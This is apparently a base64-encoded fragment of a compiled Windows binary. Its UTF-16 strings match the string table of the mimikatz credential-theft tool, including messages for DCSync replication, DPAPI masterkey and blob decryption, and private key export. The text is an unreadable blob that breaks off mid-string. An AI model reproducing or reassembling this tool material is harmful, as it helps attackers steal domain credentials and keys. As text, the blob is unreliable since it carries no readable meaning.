AAAAAAAAlACoAcwAgACAAZAB3AEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AHAAbwByAHQARgBsAGEAZwBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABVAG4AaQBxAHUAZQBOAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAUwAKAAAAJQAqAHMAIAAgAHAASABhAHMAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAIAAgADoACgAAAAAAJQAqAHMAIAAgAHAARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAAgACAAOgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAeQBfAGMAbgBnAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAeQBfAGMAbgBnAF8AcAByAG8AcABlAHIAdABpAGUAcwBfAGMAcgBlAGEAdABlACAAKABwAHUAYgBsAGkAYwApAAoAAAAAACUAKgBzACoAKgBLAEUAWQAgACgAYwBuAGcAKQAqACoACgAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHUAbgBrACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AE4AYQBtAGUATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAcgBpAHYAYQB0AGUAUAByAG8AcABlAHIAdABpAGUAcwBMAGUAbgA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBLAGUAeQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHUAbgBrAEEAcgByAGEAeQBbADEANgBdACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAuACoAcwAKAAAAJQAqAHMAIAAgAHAAUAB1AGIAbABpAGMAUAByAG8AcABlAHIAdABpAGUAcwAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAOgAKAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBLAGUAeQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAKAAAAJQAqAHMAKgAqAEsARQBZACAAQwBOAEcAIABQAFIATwBQAEUAUgBUAFkAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAdAByAHUAYwB0AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAdAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAZAB3AE4AYQBtAGUATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBvAHAAZQByAHQAeQBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABwAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABwAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgADoAIAAAACUAdQAgAGYAaQBlAGwAZAAoAHMAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAG4AZQB0AF8AZwBlAHQARABDACAAOwAgAEQAcwBHAGUAdABEAGMATgBhAG0AZQA6ACAAJQB1AAoAAABLUHJpbnRmCgAAAABFeHBhbmRpbmcuLi4KAAAAYQAAACIAJQBzACIAIABzAGUAcgB2AGkAYwBlACAAcABhAHQAYwBoAGUAZAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAUwBlAHIAdgBpAGMAZQAgAGkAcwAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAAdgBlAHIAcwBpAG8AbgAgAGkAbgAgAHIAZQBmAGUAcgBlAG4AYwBlAHMACgAAAAAAUQBXAE8AUgBEAAAAUgBFAFMATwBVAFIAQwBFAF8AUgBFAFEAVQBJAFIARQBNAEUATgBUAFMAXwBMAEkAUwBUAAAAAABGAFUATABMAF8AUgBFAFMATwBVAFIAQwBFAF8ARABFAFMAQwBSAEkAUABUAE8AUgAAAAAAUgBFAFMATwBVAFIAQwBFAF8ATABJAFMAVAAAAE0AVQBMAFQASQBfAFMAWgAAAAAATABJAE4ASwAAAAAARABXAE8AUgBEAF8AQgBJAEcAXwBFAE4ARABJAEEATgAAAAAARABXAE8AUgBEAAAAQgBJAE4AQQBSAFkAAAAAAEUAWABQAEEATgBEAF8AUwBaAAAAUwBaAAAAAABOAE8ATgBFAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAFIAdABsAEMAcgBlAGEAdABlAFUAcwBlAHIAVABoAHIAZQBhAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAVABoAHIAZQBhAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVABoACAAQAAgACUAcAAKAEQAYQAgAEAAIAAlAHAACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGEAbABsAG8AYwAgAC8AIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEUAeAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABOAG8AIABiAHUAZgBmAGUAcgAgAD8ACgAAAEUAUgBSAE8AUgBfAFQAUgBVAFMAVABfAFIARQBGAEUAUgBSAEEATAAAAAAARQBSAFIATwBSAF8ATgBPAF8AUwBZAE4AVABBAEMAVABJAEMAQQBMAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8ATgBPAFQAXwBVAE4ASQBRAFUARQAAAAAARQBSAFIATwBSAF8ATgBPAFQAXwBGAE8AVQBOAEQAAABFAFIAUgBPAFIAXwBSAEUAUwBPAEwAVgBJAE4ARwAAAE4ATwBfAEUAUgBSAE8AUgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAABuAGMAYQBjAG4AXwBpAHAAXwB0AGMAcAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQAQQB1AHQAaABJAG4AZgBvAEUAeAA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAATgBvACAAQgBpAG4AZABpAG4AZwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIABEAEMAIAAnACUAcwAnACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwAgACgAbgBhAG0AZQAgAHMAdABhAHQAdQBzACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAgAC0AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAG4AbwAgAGkAdABlAG0AIQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIABiAGEAZAAgAHYAZQByAHMAaQBvAG4AIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAaABlAGMAawBzAHUAbQBzACAAZABvAG4AJwB0ACAAbQBhAHQAYwBoACAAKABDADoAMAB4ACUAMAA4AHgAIAAtACAAUgA6ADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAATgBvACAAdgBhAGwAaQBkACAAZABhAHQAYQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAATgBvACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8AQwBSAEEAQwBLAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAbgBhAG0AZQBDAHIAYQBjAGsATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBEAEMASQBOAEYATwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBEAEMASQBOAEYATwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAYwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8ARwBFAFQAQwBIAEcAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABUAE8ARABPACAAKABtAGEAeQBiAGUAPwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8ARwBFAFQAQwBIAEcAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABkAHcATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAUwBlAHIAdgBpAGMAZQBzAEEAYwB0AGkAdgBlAAAAAABcAHgAJQAwADIAeAAAAAAAMAB4ACUAMAAyAHgALAAgAAAAAAAlADAAMgB4ACAAAAAlADAAMgB4AAAAAAAKAEIAWQBUAEUAIABkAGEAdABhAFsAXQAgAD0AIAB7AAoACQAAAAAACQAAAAoAfQA7AAoAAAAAACUAcwAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFQAbwBrAGUAbgAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAIwAgACUAcwAKAAAASQBOAEkAVAAAAAAAQwBMAEUAQQBOAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKACUAMQA2AHMAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoATQBvAGQAdQBsAGUAIAA6AAkAJQBzAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAFYAQQBVAEwAVAAgAHQAZQBzAHQAAAAAAEMAUgBFAEQAIAB0AGUAcwB0AAAAQwBOAEcAIABrAGUAeQAgAHQAZQBzAHQAAAAAAEMAQQBQAEkAIABrAGUAeQAgAHQAZQBzAHQAAABEAGUAcwBjAHIAaQBiAGUAIABhACAAQwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAAAAAAYwByAGUAZABoAGkAcwB0AAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGUAYQBjAGgAIABNAGEAcwB0AGUAcgBrAGUAeQAgACgAawBlAHkAIABkAGUAcABlAG4AZABpAG4AZwApAAAAbQBhAHMAdABlAHIAawBlAHkAAAAAAAAAUAByAG8AdABlAGMAdAAgAGEAIABkAGEAdABhACAAdgBpAGEAIABhACAARABQAEEAUABJACAAYwBhAGwAbAAAAHAAcgBvAHQAZQBjAHQAAABEAGUAcwBjAHIAaQBiAGUAIABhACAARABQAEEAUABJACAAYgBsAG8AYgAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABpAHQAIAB3AGkAdABoACAAQQBQAEkAIABvAHIAIABNAGEAcwB0AGUAcgBrAGUAeQAAAGIAbABvAGIAAAAAAEQAYQB0AGEAIABQAHIAbwB0AGUAYwB0AGkAbwBuACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuACAAcAByAG8AZwByAGEAbQBtAGkAbgBnACAAaQBuAHQAZQByAGYAYQBjAGUAAAAAAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAAYwByAGUAZAAAAAAAdgBhAHUAbAB0AAAAYwBhAGMAaABlAAAAZABwAGEAcABpAAAAYwBuAGcAAABjAGEAcABpAAAAAABoAGEAcwBoAAAAAABpAG4AAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoAIAAlAHMACgAAAG8AdQB0AAAAVwByAGkAdABlACAAdABvACAAZgBpAGwAZQAgACcAJQBzACcAIABpAHMAIABPAEsACgAAAGQAYQB0AGEAIAAtACAAAAB0AGUAeAB0ACAAOgAgACUAcwAAAGgAZQB4ACAAIAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAGkAbQBpAGsAYQB0AHoAAAAAAGQAYQB0AGEAAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAGUAbgB0AHIAbwBwAHkAAABtAGEAYwBoAGkAbgBlAAAAcAByAG8AbQBwAHQAAAAAAGMAAAAKAGQAYQB0AGEAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAZgBsAGEAZwBzACAAIAAgACAAIAAgACAAOgAgAAAAAABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwA6ACAAAAAAAGUAbgB0AHIAbwBwAHkAIAAgACAAIAAgADoAIAAAAAAAQgBsAG8AYgA6AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAHMAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwB5AHMAdABlAG0AAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABjAGEAYwBoAGUACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIAAoAG0AYQBjAGgAaQBuAGUALAAg